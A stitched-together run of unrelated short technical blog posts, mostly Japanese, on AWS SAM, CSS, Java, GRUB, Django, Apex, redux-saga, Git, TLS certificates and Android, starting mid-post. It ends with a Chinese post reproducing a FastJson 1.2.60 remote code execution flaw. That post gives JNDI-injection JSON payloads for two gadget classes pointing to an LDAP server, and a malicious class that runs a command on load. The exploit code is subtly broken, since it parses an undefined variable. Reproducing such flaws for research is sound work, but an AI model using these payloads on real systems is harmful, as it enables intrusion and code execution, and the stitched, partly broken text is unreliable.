            Schedule: "cron(0 0/12 * * ? *)"
            Input: |
              {
              "region": "tokyo"
              }
~~~

参考程度に。テンプレートから自動生成されたポリシーは以下になります。

~~~ json
{
    "Statement": [
        {
            "Action": [
                "s3:GetObject",
                "s3:ListBucket",
                "s3:GetBucketLocation",
                "s3:GetObjectVersion",
                "s3:PutObject",
                "s3:PutObjectAcl",
                "s3:GetLifecycleConfiguration",
                "s3:PutLifecycleConfiguration",
                "s3:DeleteObject"
            ],
            "Resource": [
                "arn:aws:s3:::qiita-data",
                "arn:aws:s3:::qiita-data/*"
            ],
            "Effect": "Allow"
        }
    ]
}
~~~

# さいごに
SAMはたくさんの機能がありますが、なにか作るものを決めて使っていきながら覚えていくのが良さそうでした。
まだまだテンプレート奥が深いです。知れば知るほど便利に使えそうです。
CSSのbackground-color: transparent;について

# 自分の学習したアウトプットのつもりで投稿します。
# (例)
```html:style.css
.contact-form input[type=submit] {
  display: block;
  width: 200px;
  margin: 40px auto 0;
  padding: 15px;
  border: 1px solid rgba(255, 255, 255, 0.8);
  border-radius: 5px;
  background-color: transparent;
  color: #fff;
  cursor: pointer;
}
```
上記コード内のbackground-color: transparent;
の意味は背景色を透過しているような見た目になる。
インターフェース

##インターフェースとは

javaで使われるインターフェースとは、クラスに含まれるメソッドの具体的な処理内容を記述せず、変数とメソッドの型のみを定義したものです。
以下のようにインターフェースを宣言および実装を行います。

```java
//インターフェースの宣言
interface インターフェース名 {

}
```

```java
//インターフェースの実装
class クラス名　implements インターフェース名 {

}
```

インターフェースには、メソッドの具体的な処理内容を記述しないため、メソッドの型だけで先に記述しておき、メソッドを利用する直前で処理内容を記述するという使い方ができます。

クラスの継承では、継承元であるスーパークラスは1つに限られていましたが、インターフェースにはそのような制限はありません。
複数のインターフェースを継承して新しいインターフェースを作る事ができます。
SteamVR Plugin 2.x VIVEコントローラーのインプットの取得

## はじめに

- SteamVRプラグインの2.xのコントローラー制御がわかりずらかったので、とりあえずコントローラーの入力だけを検知するスクリプトを作成しました。
- 初期設定でバインドされるアクションをすべて取得します。
- スクリプトは以下のGitHubに公開しています。
    - [https://github.com/taroyan/DefaultSteamVRInput](https://github.com/taroyan/DefaultSteamVRInput)


## 準備

- 以下の記事を参考に、記事内の「実行」の前までの設定を行う
  - [http://kan-kikuchi.hatenablog.com/entry/Unity_VIVE_Getting_Started](http://kan-kikuchi.hatenablog.com/entry/Unity_VIVE_Getting_Started)
- 「はじめに」のGitHub内の「DefaultSteamVRInput.cs」をダウンロードする



## 使い方

- 「DefaultSteamVRInput.cs」をプロジェクト内のAssetsフォルダ内の好きな場所を配置する
- SteamVRフォルダ内にある「Simple Sample」のシーンを開く
- ヒエラルキー内の「[CameraRig]」のオブジェクトに「DefaultSteamVRInput.cs」スクリプトをアタッチする。
- インスペクター内の「DefaultSteamVRInput (Script)」内の以下の項目をコンボボックスから設定

    - activateActionSetOnAttach_Platformer  【\actions\platformer】
    - activateActionSetOnAttach_Buggy　　　　【\actions\buggy】
    - activateActionSetOnAttach_Mixedreality　【\actions\mixedreality】

![](https://taroyan3rd.com/images/DefaultSteamVRInput/A.PNG)

- Unity Editorで実行し、コントローラーのトリガーを引いたりトラックパッドをクリックしたりすると、コンソール画面に検知したInputのデバッグログが表示されます。

- 「Simple Sample」シーン以外でも「DefaultSteamVRInput.cs」を「[CameraRig]」に相当するゲームオブジェクトにアタッチすれば同様のインプットが取得できます。

## 参考

[https://qiita.com/kyourikey/items/232f7810769c7727c9bd](https://qiita.com/kyourikey/items/232f7810769c7727c9bd)
IT企業で停電の時にできること

# 停電

昨年、自宅が停電になった。隣のうちは停電でなかった。
町のあちこちが、まだらに停電箇所と通電箇所があった。
交差点の信号が止まっているところがあちこちあった。

コンビニも電気が消えているところがあった。
近所の通電している漫画喫茶にいってノートパソコンと携帯電話の充電がてらネットで連絡を取った。


# 発電機
持っている場合

## 移動式
近所の病院等に連絡し、発電機が必要か確認する。

緊急設置先で、自社の仕事もついでにすることが可能かどうかは場合によるかも。

## 固定式

自社の顧客、将来の顧客向けに、携帯電話などの充電場所を設置する。

無線LANが届くようであれば、MACアドレス登録によって、無線を提供することも検討する。

# 充電池
持っている場合

## 電気自動車等一定容量以上

近所の病院等に連絡し、充電池が必要か確認する。

緊急配備先で、自社の仕事もついでにすることが可能かどうかは場合によるかも。

## 小型

自社の顧客向けに携帯電話などの充電サービスをする。

p.s.
この記事は、数年前、自宅が１日以上停電だった時の経験に基づいています。

すぐ隣は数時間で復旧したのに、自宅はほぼ丸一日停電していました。

親戚がすぐ隣であれば、電気ドラムを２台持っているので、隣の家から電気を引いて、計算機と無線LANだけでも復旧したかったと感じたことにもとづいています。


# 台風
2019年10月10日　読売新聞朝刊

台風１５号の被害と各地の最大瞬間風速

台風直撃率の高い石垣島民が教える本気の台風対策！
https://lilymom-okinawa.life/ishigakijima/1280/?fbclid=IwAR2w8I68_X4RcKE49Zst7aOQlKkGa_Z_h6QEmgE7Dq0GNlRMBUvyZ1rNBXk



# 文書履歴(document history)
ver. 0.01 初稿 20190919
ver. 0.04 URL追記　20230228

### 最後までおよみいただきありがとうございました。

いいね　💚、フォローをお願いします。

####  Thank you very much for reading to the last sentence.

Please press the like icon 💚　and follow me for your happy life.
Oracle Database 19cから、SEやEEオプション無しでもPDBが3つまでサポートされた件

Oracle Database 12cがリリースされたとき

**<font color="red">「マルチテナントが一番の目玉機能。しかし、複数のPDBを利用するにはEE+有償オプションが必要。キリッ！」</font>**

と発表されて、イスから転げ落ちそうになったのは私だけではないはずだ。

**それが「19cからSEやEEオプション無しでも3つまでOK」になったらしい。**

ニュースソースはMigration & Upgradeのスペシャリストで中の人"Mike Dietrich"のブログ。

**3 PDBs included with Oracle 19c and desupport of non-CDBs with 20c**
https://mikedietrichde.com/2019/09/17/3-pdbs-included-with-oracle-19c-and-desupport-of-non-cdbs-with-20c/

MikeはOracle社員なのにblogs.oracle.comではなく、mikedietrichde.comという独自サイトを運営。このサイトは記事だけでなく、PPT（PDF）やハンズオン資料などのアップグレードに関する情報満載。Mikeとは何度か話したことがあって、とてもイイやつ。

そして日本語マニュアルの情報は古いので要注意。

*  [Database Licensing Information User Manual 19c （E94254-08） September 2019](https://docs.oracle.com/en/database/oracle/oracle-database/19/dblic/Licensing-Information.html#GUID-0F9EB85D-4610-4EDF-89C2-4916A0E7AC87)
![pdb01-eng.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/266049/f03120a5-f255-762d-76c8-7e92aae56ae2.png)

* [データベース・ライセンス情報ユーザー・マニュアル 19c（原本部品番号:E94254-06） 2019年5月](https://docs.oracle.com/cd/F19136_01/dblic/Licensing-Information.html#GUID-0F9EB85D-4610-4EDF-89C2-4916A0E7AC87)
![pdb01-jpn.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/266049/5ddaf863-9258-c5e5-4c49-780f68a1eabe.png)


英語マニュアルのNoteには以下の記載あり。
> For all offerings, if you are not licensed for Oracle Multitenant, then you may have up to 3 PDBs in a given container database at any time.
Linux基礎(GRUB/GRUB2について)


##ブートローダとは
ブートローダとは、ハードティスク等からOSを起動するためのプログラム。
LinuxのブートローダにはGRUB(or GRUB2)が標準的に採用されている。
GRUBは、多数のファイルシステムを認識可能でありシェル機能も搭載している。

---

##ブートローダのコマンド例

```shell
# /dev/hdaのMBR(起動ドライブの最初のセクタ)領域にGRUBをインストール
$ grub-install /dev/hda

# GRUBのバージョン確認komanndo
$ grub-install -v

```

---

##ブートローダの設定(GRUBの設定ファイル)
設定ファイル位置は「/boot/grub/menu.lst」にある。
必要に応じて編集し、GRUBの動作を変更すること。

```shell
# /boot/grub/menu.lst

# ブートデバイスの定義。GRUBのインストール先
boot=/dev/sda

# デフォルトで起動するエントリ番号。デフォルトは1番目のエントリ
default=0

#メニューを表示する時間。デフォルトは5秒
timeout=5

#起動時に選択メニューを表示しない
hiddenmenu

#メニューの表示画面の画像
splashimage=(hd0,0)/grub/splash.xpm.gz

#メニューに表示されるエントリ名。1番目のエントリ
title CentOS (2.6.32-358.el6.i686)

#ルートファイルシステムの指定。GRUBでは、/dev/sda1を(hd0,0)、/dev/sdaを(hd0,1)と表示
root (hd0,0)

#起動するカーネルイメージファイルと起動オプションの指定
kernel /vmlinuz-2.6.32-358.el6.i686 ro root=UUID=15a29eb8-6f0c-4e3b ~ quiet

#初期RAMディスクファイルの指定
initrd /initramfs-2.6.32-358.el6.i686.img
```

---

##ブートローダの設定(GRUB2の設定ファイル)

1. /etc/default/grubで設定変更
2. update-grub2コマンドにより、/boot/grub/grub.crgファイルが生成

```shell
# /etc/default/grubの中身

#デフォルトで起動するOSの番号
GRUB_DEFAULT=0

#デフォルトでOSを起動するまでの秒数
GRUB_TIMEOUT=5

#ブートオプション
GRUB_CMDLINE_LINUX_DEFAULT="quiet"

#カーネルに渡すブートオプション
GRUB_CMDLINE_LINUX=""
```

```shell
#update-grub2 コマンド例

$ update-grub2 

```

---


##ブートローダの起動 - カーネルオプションの設定
ブートローダの設定ファイル(/boot/grub/menu.lst)にあらかじめカーネルオプションを設定しておくがシステムブート時にカーネルオプションを設定することもできる。ブートローダの起動画面で、aキーを入力すると編集用画面に移行する。

```shell
#シングルモードで起動するためのカーネルオプションの設定
grub append> ro root=LABEL=/ rhgp quiet single

#起動時に、/bin/shシェルが起動するためのカーネルオプションの設定
grub append> ro root=LABEL=/ rhgp quiet init=/bin/sh

```

※CnetOSでは、バージョンによりGRUBの編集用画面が少し異なる。なお、ブートローダ起動時に設定されたカーネルオプションは/proc/cmdlineファイルに記載されている。
Django modelsの抽象クラスを使ったrelated_nameの重複防止

タイトルの通りmodelsの抽象クラスを使ったrelated_nameやrelated_query_nameの重複を防ぐ方法を簡単に説明します。

### %(class)s 
フィールドが使用されている子クラス名を小文字に置き換えた文字列になります。

### %(app_label)s
子クラスが含まれているアプリ名を小文字に置き換えた文字列になります。

### 説明
各アプリ名や各アプリ内のモデルクラス名は一意である必要があります。
そのため、上記を組み合わせると必然的に一意の文字列になります。
それを踏まえて下記のプログラムを見てみましょう。

```common/models.py
from django.db import models

class Base(models.Model):
    m2m = models.ManyToManyField(
        OtherModel,
        related_name="%(app_label)s_%(class)s_related",
        related_query_name="%(app_label)s_%(class)s_related_query",
    )

    class Meta:
        abstract = True

class ChildA(Base):
    pass

class ChildB(Base):
    pass
```

```rare/models.py
from common.models import Base

class ChildB(Base):
    pass
```

|Field              | related_name        | 
|:-----------------:|:------------------:||
| common.ChildA.m2m |common_childa_related|
| common.ChildB.m2m |common_childb_related|
| rare.ChildB.m2m |rare_childb_related|

このようになるので、いちいちクラスごとに名前を手入力する必要がなくなります。
【salesforce】改めてList,Map,Setの特徴をおさらい

#それぞれの特徴をおさらい

Apexのコレクション型としてあるList、Map、Setを改めてデバックしたりしながら特徴を抑えていきたいなと思います。

##List
https://developer.salesforce.com/docs/atlas.ja-jp.apexcode.meta/apexcode/apex_methods_system_list.htm

よく使うのはこんな感じですかね。

```ruby:sample
List<String> hogeList = new List<String>();

hogeList.add('b');
hogeList.add(0,'a');

system.debug(hogeList);

List<String> piyoList = new List<String>();

piyoList.addAll(hogeList);
system.debug('想定はtrue--------'+piyoList.contains('a'));
system.debug('想定はb--------'+piyoList.get(1));
system.debug('想定は2--------'+piyoList.size());
```
<img width="438" alt="スクリーンショット 2019-09-19 22.16.06.png" src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/472705/e20c24dd-980a-6d97-7f2f-29839d813903.png">

.addは追加するindexを決めることもできます。並べ替えを変えたい時に意図して使う感じですね。
size()なんかはループを回したりする際に使ったりします。
Apexは便利ループがあるのでそこまで頻度は高くないですが。

##Map
https://developer.salesforce.com/docs/atlas.ja-jp.apexcode.meta/apexcode/langCon_apex_collections_maps.htm
日本語では対応付けというみたいです。
鍵があって、それを指定すると対応した値が帰って来るからってことですかね。

```ruby:sample
Map<Integer, String> hogeMap = new Map<Integer, String>();

hogeMap.put(0,'a');
hogeMap.put(1,'b');
hogeMap.put(2,'c');

system.debug(hogeMap);
system.debug('想定は0.1.2--------' + hogeMap.keySet());
system.debug('想定はa.b.c--------' + hogeMap.values());

hogeMap.remove(1);
system.debug(hogeMap);
system.debug('想定は0.2--------' + hogeMap.keySet());
system.debug('想定はa.c--------' + hogeMap.values());
```
<img width="454" alt="スクリーンショット 2019-09-19 22.27.26.png" src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/472705/34498291-7523-c8e3-f858-fb2d595e3703.png">

keySetでfor文を回すなんてこともできるのでやり方を工夫すればMapはなかなか扱いやすい代物です。
また注意しないといけない点はkeyの値の重複は認められていないということです。
なので0='a',0='b'なんてことはありえないのでputする際はそういったことにも注意が必要です。

##Set

https://developer.salesforce.com/docs/atlas.ja-jp.apexcode.meta/apexcode/apex_methods_system_set.htm

```ruby:sample
Set<String> hogeSet = new Set<String>();

hogeSet.add('a');
hogeSet.add('b');
hogeSet.add('c');
hogeSet.add('a');

system.debug('想定はa.b.c--------' + hogeSet);
system.debug('想定は3--------' + hogeSet.size());
```

<img width="466" alt="スクリーンショット 2019-09-19 22.33.26.png" src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/472705/c67c8b20-8bd8-6e8c-b77a-e63ff9422716.png">

SetのメソッドはListによく似ており、Listっぽく扱えますが、一番の特徴は何と言っても重複が許されていない点ではないでしょうか。

上の例でもあるように４つの値を入れたはずなのにサイズは3です。
aが重複しているため重複は除外されabcの値のみとなった形です。

triggerなど大量のデータが入ってくるものの同じ項目値が入ってきてそれを元にSOQLを
作るなんて時にはこのSetを使うといいと思います。

##まとめ

それぞれの違いを理解するとものすごくコーディングが捗りますし、何より処理時間の大幅削減も可能になります。
大量のデータをサクッと処理できるかっこいいプログラム書けるように頑張りましょう。

#profile

生まれも育ちも大阪の浪速中の浪速っ子が30才未経験からITエンジニアとして生きるブログもやってます。
よかったらみてください:muscle_tone2:

<a href="https://blogmura.com/profiles/11016817?p_cid=11016817"><img src="https://blogparts.blogmura.com/parts_image/user/pv11016817.gif" alt="PVアクセスランキング にほんブログ村" /></a>
sagaで並列処理と逐次処理

# はじめに

ミリ秒間隔（もはや同時に叩かれるときもあり）で叩かれるactionのハンドリングをredux sagaでする必要があった。その時の試行錯誤の記録。

# ver 1
はじめは普通にtakeで書いていたが、これだとactionを完全に拾えていなく、結構取り漏れている状況だった。

```js

function* request(chan) {
  while (true) {
    const { payload } = yield take('REQUEST');

    // 'REQUEST'のactionが叩かれてはいるが、ここまで来ていないことが割とある
  }
}
```

# ver 2
takeEveryを使い、並列に処理するようにしたら取り漏れることがなくなった。
それは良かったのだが、この `_request` の処理では各々の `_request` で共通して参照/更新したい値があった。しかし、 `_request` は並列で動いているため、単純に `_request` の処理内にその処理を書いても意味がない。 
（仮に_requestがふたつ同時に並列で動いた場合、同時にその値を参照/更新してしまい値がバグる）

イメージとしてはgolangのchanみたいに各並列処理を取りまとめるキューみたいなのが欲しかった。

```js

function* _request(action) {
  const { payload } = action;

  // some code
}

function* request() {
  yield takeEvery('REQUEST', _request);
}
```

# ver 3
最終的にこうなった。
`actionChannel` を使えば、そのアクションをFIFOで処理するようなキューを作ってくれる。
ver 2で使っていた `takeEvery` だと、アクションのとり漏れは発生しないが並列処理になっちゃうので使わない。
このコードなら下記の // some code の部分は逐次処理されるようになっているので、 共通して使いたい値の参照/更新をそのまま書ける。

```js
function* watchRequest() {
  const chan = yield actionChannel('REQUEST');

  while (true) {
    const { payload } = yield take(chan);

    // some code
  }
}
```

参考
https://qiita.com/r-nouchi/items/3809801b817e62b4f60b
https://stackoverflow.com/questions/58973428/how-to-take-multiple-actions-dispatched-with-blocking-call
Git超絶基本事項！！

#はじめに
[未来電子テクノロジー](https://www.miraidenshi-tech.jp/intern-content/program/)でインターンをしているsaijoです！

今日でちょうど未来電子に入社して２週間が経過しました。
未来電子で勉強した単元は「HTML,CSS」「Python」「Regex」「SQL」「Git,GitHub」です！f
まだまだ未熟者ですが、これからもっと精進していこうと思っていますので、応援してくださると嬉しいです！
[逆求人サイト](https://saijo-tsubasa.github.io/saijo_tsubasa/)も見ていただけると喜びます。笑

それでは今回の記事では、今日学習し始めたGitの超絶基本事項をまとめていきたいと思います！

プログラミング初心者であるため、内容に誤りがあるかもしれません。
もし、誤りがあれば修正するのでどんどん指摘してください！！

#Gitを使う前の準備
```
$ git init
```
まずはGitを用いるために上記のコマンドをTerminalに打ち込みましょう！
initはinitialize（初期化）の略です。

#共有ファイルの選択
```
#index.htmlというファイルを共有ファイルとして選択する。
$ git add index.html

#選択したファイルを"Commit a file"の文字を添えてコミットする。
$ git commit -m "Commit a file"
```
続いて上記２つのコマンドでファイルを共有ための準備を行いましょう！

#リモートの登録・ファイルのアップロード(ダウンロード)
```
#https://~~~~~~をorigin(慣例名)として登録する。
$ git remote add origin https://~~~~~~

#リモートにファイルをアップロードする。
$ git push origin master

#リモートからファイルをダウンロードする。
$ git pull origin master
```
ここでpushとはファイルをアップロードするという意味で、pullはファイルをダウンロードするという意味です！

#まとめ
ここまでGitに関する超絶基本事項を記してきました。
Gitは開発チームを組んで１つのシステムを管理しようとする際に力を発揮する言語です。
こういった実務に取り掛かる時に活躍するような知識を覚える際は、現場を想像しながら覚えていけたらなと思っております！

以上「Git超絶基本事項！！」でした！
最後までご覧いただきありがとうございます！！
Let's Encrypt!でSSL証明書を発行してApacheに設定するまでの記録

# 環境
OS: CentOS7
マシン: AWS EC2インスタンス
Web Server: Apache2.4
DNS: IPとドメイン名の紐付けがされている。
IP制限: HTTP, HTTPS共に社内ネットワークからのアクセスのみ受け付ける。


# Certbotのインストール
`$ yum install certbot`

# 証明書の発行
発行時にLet's Encrypt!側のサーバからのアクセスを受け付ける必要があるので、以下のIPからのインバウンドを通すようにIP制限設定を変更する。
- 13.58.30.69
- 34.213.106.112
- 52.29.173.72
- 64.78.149.164
- 66.133.109.36
(見付けられたのが5つなのであって、他にも存在するかも)

`$ certbot certonly --webroot -w /var/www/html -d hogehoge.piyopiyo.com`
メールアドレスやらYES/NOやら適当に。

# mod_sslのインストール
ApacheでSSLを有効にするためのモジュールをインストールする。
`$ yum install mod_ssl`
しかし依存関係の競合が発生して入らなかったので、最終的にrpmからインストールした。

# ApacheにpemファイルのPATHを設定
```/etc/httpd/conf.d/ssl.conf
...
SSLCertificateFile /etc/letsencrypt/live/hogehoge.piyopiyo.com/cert.pem
SSLCertificateKeyFile /etc/letsencrypt/live/hogehoge.piyopiyo.com/privkey.pem
SSLCertificateChainFile /etc/letsencrypt/live/hogehoge.piyopiyo.com/chain.pem
...
```

# Apache再起動
`$ systemctl restart httpd`

# 証明書自動更新の設定
Let's Encrypt!で発行される証明書は有効期限が90日間と非常に短いので、Cronで自動更新する。
失効が近付くとメールが送られるらしい。

`$ crontab -e`

```
00 04 01 * * certbot renew -q --no-self-upgrade --post-hook "systemctl restart httpd"
```

# 調査事項
- ~~standaloneでの発行ならIP制限を変更しないで済んだらしいが、調子に乗りすぎて発行数が上限に達してしまったので試せてない。~~
- 来月の1日に自動更新Cronがちゃんと動いてくれるか？
抽象メソッド

##abstractクラスの利点とは

abstractクラスとは、抽象メソッドを1つ以上持つクラスです。
まず抽象メソッドは何か？
を解説します。

抽象メソッドとは実装を持たない、シグネチャ（メソッド名、　引数の型、　引数の数）と戻り値の型のみを定義するメソッドです。

具体的には、以下の通りです。
先頭にabstractとついているところ、引数のかっこの後に{}がないところに注目してください

```java
abstract 戻り値の型数　メソッド名（引数）;
```

次に抽象クラスは下記のように記述します。

```java
abstract class クラス名　{
abstract 戻り値の型名 メソッド名(引数)
}
```

抽象クラスでメソッドを持つ利点とは、開発者側にメソッドのオーバーライドを強制するという事ができる事です。

抽象クラスを継承したサブクラスごとに抽象メソッドをオーバーライドして処理内容を記述する必要があります。

しかし、サブクラスごと処理内容は別々にできます。
サブクラスごとに処理内容はまちまちに成る、
でも必ず処理内容を記述しなければならない、という場合は抽象クラスメソッドを持つ利点を利用する事になります。
【俺得】AMIイメージ作成とEBSスナップショットの違いをまとめてみた

#EBSスナップショットとは
EC2を利用する際にハードディスクに相当するサービスとして
インスタンスストア or EBSがありますが、EBSに対してバックアップを取得したものをEBSスナップショットと言います。
(※EBSスナップショットでインスタンスストアのバックアップは不可)

![snapshot.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/498271/82986594-ed5b-8427-5e4f-80a4ec6312d2.png)

#AMIとは
1 つまたは複数の EBS スナップショット、または、instance-store-backed AMI、インスタンスのルートボリュームのテンプレート (cpuアーキテクチャー(Intelやamdなど)・ENI設定・セキュリティグループ
・アタッチするebsの容量・デバイス名)が含まれる。
簡単にいうと、、、EBSスナップショット＋OSみたいな感じ。

![ami_image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/498271/9426d383-e99f-27c3-2e59-d9905cc8b1e6.png)

#どっちを使うべき
プロコンする必要があるが、、、後日。
そもそもAMIはバックアップ用途としては準備されていないとの事。


今日はここまで

参考
こちらの方が詳しく書いてくれています。
https://mussyu1204.myhome.cx/wordpress/it/?p=739
[enchant.js]Scoreを表示するラベルのクラス[JavaScript]

## Labelクラスを継承したScoreLabelクラスを定義

SCORE:[スコア]
という表示をするLabelを作るScoreLabelクラスを定義

```javascript:scorelabel.js
//Labelクラスを継承する
ScoreLabel = Class.create(Label, {
    initialize: function(x, y){
        enchant.Label.call(this, "SCORE:0");
        this.x = x;
        this.y = y;
        this.score = 0;
    },
    //ptsだけスコアを加算
    add: function(pts){
        this.score += pts;
        this.text = "SCORE:" + this.score;
    }
});
```

```javascript:main.js
scoreLabel = new ScoreLabel(10, 10);
game.rootScene.addChild(scoreLabel);
//スコアに追加
scoreLabel.add(1);
```
final修飾子

##finalとは
一度変数に設定した値を、後から変更されないようにするためにはfinal修飾子を使用します。

final修飾子は、主に値を変更する予定がない定数などの値を設定する時に使用します。

例えば、変数に対して以下のようにfinal修飾子を指定すれば、その変数の変更ができなくなります。

```java
final class クラス名 {
//処理
}
```

final修飾子は変数以外にもクラスやメソッドも、内容を変更されたくない時に使用する事もできます。
クラスをfinal指定するときには、以下の記述します。

```java
final class クラス名 {
//処理
}
```

##finalとは決めたものを変更できなくすること

finalの機能は（決めた事を変更できなくする）事をプログラマーが指定するものです。
finalは、同じキーワードを変数とクラス　メソッドに指定でき、以下のようにそれぞれ意味が違う、
同じキーワードですが文脈により意味が違うので少しややこしい。
１　変数へのfinal　変数へ値を再代入をできなくする
２　クラスへのfinal　クラスを継承できなくする
３　メソッドへのfinal　メソッドをオーバーライドできなくする
IPアドレスでHTTPSアクセスするための証明書の作り方

TL;DR
-----
IPアドレス直打ち(e.g. https://192.168.1.1/ ) でアクセスするための証明書を作るときには、
下記にIPアドレスを設定しよう。

- CN (Common Name)
- SAN (Subject Alternative Name) DNS
- SAN IP

はじめに
-----
IPアドレス直打ちでアクセスする、クローズドなウェブシステム構築時、
証明書検証エラーが発生しないサーバ証明書の作り方に四苦八苦したので、メモ。
(みんなこんなの常識なのかな・・・)

Internet Explorer のIPアドレスアクセス時の証明書検証手続き
-----
- SAN が設定されていない場合
   - CN がIPアドレスと一致しているかを検証、不一致ならエラー
- SAN が設定されている場合
    - SAN **DNS** がIPアドレスと一致しているかを検証、不一致ならエラー
        - IPではない！！

Google Chrome のIPアドレスアクセス時の証明書検証手続き
-----
- SAN IP が IPアドレスと一致しているかを検証、不一致ならエラー

まとめ
-----
- Chromeが SAN をチェックし、CN を無視するのは有名だが、IE も(設定されていれば) SAN をチェックし、 CN を無視する。
- ただし、IEはIPアドレスでアクセスしていようが DNS 名で検証し、IP 名は無視する。
- Chrome はアクセスしているのがIPアドレスかドメインかを判別し、IP名 または DNS名 の適切な方で検証する。
- Firefox 等、他のブラウザは未調査。

というわけで
-----
証明書には下記を設定しよう

- CN
    - 互換性のために一応。
- SAN DNS
    - IE に見てもらう用
- SAN IP
    - Chrome に見てもらう用

感想
-----
- Chromeはエラー無しで通すのにIEで検証エラーとなる場面に初めて出くわした。
- ていうかブラウザ間の証明書検証手順を統一してくれ！
Railsでforce_ssl設定したらヘルスチェックが通らなくなった時の対処

# 問題
ある日、AWS上で運営しているRailsのセキュリティを強化するためにforce_sslの設定を行ったのですが、その後ELBからのステータスがunhealthyとなってしまいました。

# 対応
おそらくヘルスチェックがHTTP（80番）で来ているからだと思われます。
そこでELBで設定したヘルスチェック用のアクセス（例 /health）は除外するように設定します（Rails5以降）

```config/environments/production.rb
   config.force_ssl = true
+  config.ssl_options = { redirect: { exclude: -> request { request.path =~ /health/ } } }
```
こうすれば無事ステータスがHealthyとなりました。

# おまけ
ヘルスチェック用のコントローラーとアクションを追加しても良かったのですが、少しでも負荷を減らしたかったのでルーティング側で直接応答を返すようにしてみました。

```ruby:routes.rb
get 'health' => lambda { |env| [200, { 'Content-Type' => 'text/plain' }, ['OK']] }
```
Androidで位置情報の取得を高速化する

#概要
先日書かせていただいた[記事](https://qiita.com/kyabetsuda/items/0c276cd5720fab34475a)に関しまして、位置情報を取得する際にLocationManagerを使用しました。
その際に速度の遅さが問題になりましたので、私が改善できた方法につきまして記事を書きます。

#最初していた実装
```java:

private void callRequestLocationUpdates()
{
    checkPermission();
    mLocationManager.requestLocationUpdates(LocationManager.GPS_PROVIDER, 500, 1, listener);
}
```
Androidで位置情報を取得する際はLocationManager.requestLocationUpdates()を使用したのですが、最初は上記のような実装をしていました。
ところが、LocationManagerで位置情報を取得するのにはGPS以外の方法もあるらしく、それはrequestLocationUpdates()の第一引数で制御しているのだとわかりました。
第一引数は「プロパイダー」と呼ばれているようですが、参考に記載のdocsを参考にすると3個ほど「PROVIDER」とついた名前の定数が存在することが伺えました。

・GPS_PROVIDER
・NETWORK_PROVIDER
・PASSIVE_PROVIDER

requestLocationUpdates()の引数にPROVIDERは一つしか設定できないので、最初は上記の3つのうちからどれかを選ばなければならないと思っていたのですが、実はLocationManagerでは上記3つのPROVIDERでrequestLocationUpdates()を並列で走行させることも可能なんです。

#改善した実装

requestLocationUpdates()の並列走行については参考に記載のサイトを参照させていただきました(Android開発 | 複数のプロバイダで並行して位置情報を取得する方法)。
そこには以下のような記述がありました。
>requestLocationUpdatesdeに渡し測定を開始しますが、これを必要なprovider分だけ呼び出せば並行して測定が行われます。

さらに、以下のような記述もありました。

>全部のプロバイダで同じリスナを使っていれば、removeUpdatesは一度呼び出せば全部のプロバイダの測定が停止します。

おー！これは！と思いました。
つまり、for文で回して全てのPROVIDERでもって並列処理をさせ、一番最初に位置情報を取得できたもので後続処理を行えばアプリ全体でより高速化が見込めると思いました！

そして、上記サイトを参考にさせていただき改善したコードが以下です。

```java:
private void callRequestLocationUpdates()
{
    //複数プロパイダで処理を回すことで高速化を目指す
    List<String> providers = mLocationManager.getProviders(true);
    checkPermission();
    for (String provider : providers) {
        mLocationManager.requestLocationUpdates(provider, 500, 1, listener);
    }
}
```

requestLocationUpdates()で位置情報が取得できた際には、LocationListener.onLocationChanged()が呼ばれますが、並列処理をしているため、後続処理が何回も呼ばれては困りますので、少し工夫して実装しています。

```java

@Override
public synchronized void onLocationChanged(Location location) {
    // 位置情報取得
    lat = location.getLatitude();
    lng = location.getLongitude();
    if(getActiveFlg() == 0){
        // 一番初めの処理でフラグを立てておき、2回目以降は実行されないようにする
        setActiveFlg(1);
        // 後続処理
        doSomething(lat, lng);
    }
}

```

これで一番最初に起動されたonLocationChanged()のみで後続処理が発火され、2回目以降は発火させなくできます。
synchronizedもつけておけば、setActiveFlg(1)の前に他のスレッドがif文に割り込んで来ることもないため安心です。

これによって最も最速で位置情報を取得できたPROVIDERでのみ後続処理を実施できるため、結果的に位置情報の取得を高速化することができました。


参考：
[Android位置情報の取得](https://qiita.com/gksdyd88/items/feeaccdef401ce5644c7)
[LocationManager](https://developer.android.com/reference/android/location/LocationManager)
[Android開発 | 複数のプロバイダで並行して位置情報を取得する方法](https://mussyu1204.myhome.cx/wordpress/it/?p=157)
[漏洞复现]FastJson 1.2.60远程代码执行漏洞(From第三方jar包)

### 前言
最近有安全从业者——`浅蓝色de忧伤`在Freebuf发表了一文「抽象语法树分析寻找FastJSON的Gadgets」.根据他的文章两个FastJson用以JNDI注入的gadget随之公布,但目前FastJson官方并未将这两个gadget打入黑名单.
### 复现环境准备
- 1.JDK 8U20
-  2.所需jar清单如下

```
fastjson-1.2.60.jar
commons-configuration-1.4.jar
ojdbc14-10.2.0.2.0.jar
javax.resource-api-1.7.1.jar
```
### FastJson复现

FastJsonTest.java

```
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.JSONObject;
import com.alibaba.fastjson.parser.ParserConfig;

public class FastJsonTest {
    public static void main(String[] args){

        ParserConfig.getGlobalInstance().setAutoTypeSupport(true);

        String jsonStr1 ="{\"@type\":\"oracle.jdbc.connector.OracleManagedConnectionFactory\",\"xaDataSourceName\":\"ldap://127.0.0.1:1389/ExportObject\"}";

        String jsonStr2 = "{\"@type\":\"org.apache.commons.configuration.JNDIConfiguration\",\"prefix\":\"ldap://127.0.0.1:1389/ExportObject\"}";

        JSONObject json = JSON.parseObject(jsonStr5);
        json.toJSONString();
    }
}
```
恶意类ExportObject.java

```
import java.io.BufferedReader;
import java.io.InputStreamReader;

public class ExportObject {
    public ExportObject() throws Exception {
        Process proc = Runtime.getRuntime().exec("open /Applications/Calculator.app");
        BufferedReader br = new BufferedReader(new InputStreamReader(proc.getInputStream()));
        StringBuffer sb = new StringBuffer();

        String line;
        while((line = br.readLine()) != null) {
            sb.append(line).append("\n");
        }

        String result = sb.toString();
        Exception e = new Exception(result);
        throw e;
    }

    public static void main(String[] args) throws Exception {
    }
}

```


使用`oracle.jdbc.connector.OracleManagedConnectionFactory` payload 效果如下

